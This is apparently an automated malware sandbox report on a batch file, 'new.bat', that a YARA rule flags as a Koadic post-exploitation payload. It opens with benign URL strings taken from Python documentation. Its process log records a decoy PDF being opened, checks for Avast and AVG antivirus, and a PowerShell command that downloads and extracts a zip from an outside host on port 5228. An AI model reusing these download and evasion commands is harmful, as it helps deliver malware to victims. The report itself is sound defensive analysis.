Source: 3.0.html.21.dr, 2.5.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0328/
Source: compound_stmts.html.21.dr, datamodel.html.21.dr, 2.5.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0343/
Source: 3.0.html.21.dr, 2.5.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0352/
Source: 3.10.html.21.dr, 2.5.html.21.dr, intro.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0353/
Source: 3.10.html.21.dr, 3.2.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0384/
Source: 3.10.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0393/
Source: newtypes.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0442/
Source: 3.10.html.21.dr, 3.12.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0451/
Source: 3.8.html.21.dr, datamodel.html.21.dr, typing.html.21.dr, simple_stmts.html.21.dr, 3.12.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0484/
Source: compound_stmts.html.21.dr, datamodel.html.21.dr, expressions.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0492/
Source: 3.10.html.21.dr, compound_stmts.html.21.dr, 3.8.html.21.dr, typing.html.21.dr, simple_stmts.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0526/
Source: 3.8.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0529/
Source: 3.8.html.21.dr, typing.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0544/
Source: compound_stmts.html.21.dr, typing.html.21.dr, simple_stmts.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0563/
Source: compound_stmts.html.21.dr, 3.8.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0570/
Source: compound_stmts.html.21.dr, 3.8.html.21.dr, expressions.html.21.dr, 3.12.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0572/
Source: 3.8.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0574/
Source: 3.8.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0578/
Source: 3.10.html.21.dr, 3.8.html.21.dr, typing.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0586/
Source: 3.8.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0587/
Source: 3.8.html.21.dr, typing.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0589/
Source: 3.10.html.21.dr, 3.8.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0590/
Source: 3.8.html.21.dr, typing.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0591/
Source: 3.10.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0597/
Source: 3.10.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0604/
Source: 3.10.html.21.dr, typing.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0612/
Source: 3.10.html.21.dr, typing.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0613/
Source: compound_stmts.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0614/
Source: 3.10.html.21.dr, grammar.html.21.dr, 3.12.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0617/
Source: 3.10.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0618/
Source: 3.10.html.21.dr, 3.12.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0623/
Source: 3.10.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0624/
Source: 3.10.html.21.dr, datamodel.html.21.dr, 3.12.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0626/
Source: 3.10.html.21.dr, 3.12.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0632/
Source: compound_stmts.html.21.dr, datamodel.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0634/
Source: 3.10.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0635/
Source: compound_stmts.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0636/
Source: 3.10.html.21.dr, 3.12.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0644/
Source: 3.10.html.21.dr, typing.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0647/
Source: 3.10.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0652/
Source: 3.10.html.21.dr, 3.8.html.21.dr, 3.12.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0706/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3101/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3102/
Source: 3.0.html.21.dr, simple_stmts.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3104/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3105/
Source: 3.0.html.21.dr, compound_stmts.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3107/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3108/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3109/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3110/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3111/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3113/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3114/
Source: 3.0.html.21.dr, compound_stmts.html.21.dr, datamodel.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3115/
Source: 3.0.html.21.dr, 3.8.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3118/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3120/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3121/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3123/
Source: compound_stmts.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3129/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3131/
Source: 3.0.html.21.dr, simple_stmts.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3132/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3134/
Source: 3.0.html.21.dr, datamodel.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3135/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-3138/
Source: 3.10.html.21.dr	String found in binary or memory: https://sqlite.org/c3ref/enable_shared_cache.html
Source: _bootstrap.py.21.dr	String found in binary or memory: https://stackoverflow.com/questions/59509154
Source: 3.10.html.21.dr	String found in binary or memory: https://www.freedesktop.org/software/systemd/man/os-release.html
Source: 3.0.html.21.dr	String found in binary or memory: https://www.jcea.es/programacion/pybsddb.htm
Source: 3.8.html.21.dr, asyncio-platforms.html.21.dr, 3.2.html.21.dr, trace.html.21.dr, gcsupport.html.21.dr, weakref.html.21.dr, extending.html0.21.dr, zipapp.html.21.dr, venv.html0.21.dr, classes.html.21.dr, asyncio-sync.html.21.dr, genindex-T.html.21.dr, sorting.html.21.dr, uu.html.21.dr, newtypes_tutorial.html.21.dr, cell.html.21.dr, asyncio-queue.html.21.dr, exceptions.html.21.dr, genindex-O.html.21.dr, contextvars.html.21.dr, extending.html.21.dr	String found in binary or memory: https://www.python.org/
Source: newtypes.html.21.dr	String found in binary or memory: https://www.python.org/downloads/source/
Source: 3.10.html.21.dr, 3.0.html.21.dr, newtypes.html.21.dr, compound_stmts.html.21.dr, genindex-X.html.21.dr, 3.8.html.21.dr, asyncio-platforms.html.21.dr, 3.2.html.21.dr, trace.html.21.dr, gcsupport.html.21.dr, weakref.html.21.dr, extending.html0.21.dr, zipapp.html.21.dr, venv.html0.21.dr, classes.html.21.dr, asyncio-sync.html.21.dr, genindex-T.html.21.dr, sorting.html.21.dr, uu.html.21.dr, newtypes_tutorial.html.21.dr, cell.html.21.dr	String found in binary or memory: https://www.python.org/psf/donations/
Source: 3.10.html.21.dr, 3.0.html.21.dr, newtypes.html.21.dr, compound_stmts.html.21.dr, genindex-X.html.21.dr, 3.8.html.21.dr, asyncio-platforms.html.21.dr, 3.2.html.21.dr, trace.html.21.dr, gcsupport.html.21.dr, weakref.html.21.dr, extending.html0.21.dr, zipapp.html.21.dr, venv.html0.21.dr, classes.html.21.dr, asyncio-sync.html.21.dr, genindex-T.html.21.dr, sorting.html.21.dr, uu.html.21.dr, newtypes_tutorial.html.21.dr, cell.html.21.dr	String found in binary or memory: https://www.sphinx-doc.org/

System Summary

Malicious sample detected (through community Yara rule)

Source: new.bat, type: SAMPLE

Matched rule: Koadic post-exploitation framework BAT payload Author: ditekSHen

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: new.bat, type: SAMPLE

Matched rule: MALWARE_BAT_KoadicBAT author = ditekSHen, description = Koadic post-exploitation framework BAT payload

Source: classification engine

Classification label: mal64.troj.winBAT@33/1085@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7528:120:WilError_03

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-06 08-32-17-131.log

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" "

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'

Source: C:\Windows\System32\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\AQRFEVRTGL.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1712,i,9084678072943982421,14828250794694654644,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\AQRFEVRTGL.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1712,i,9084678072943982421,14828250794694654644,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
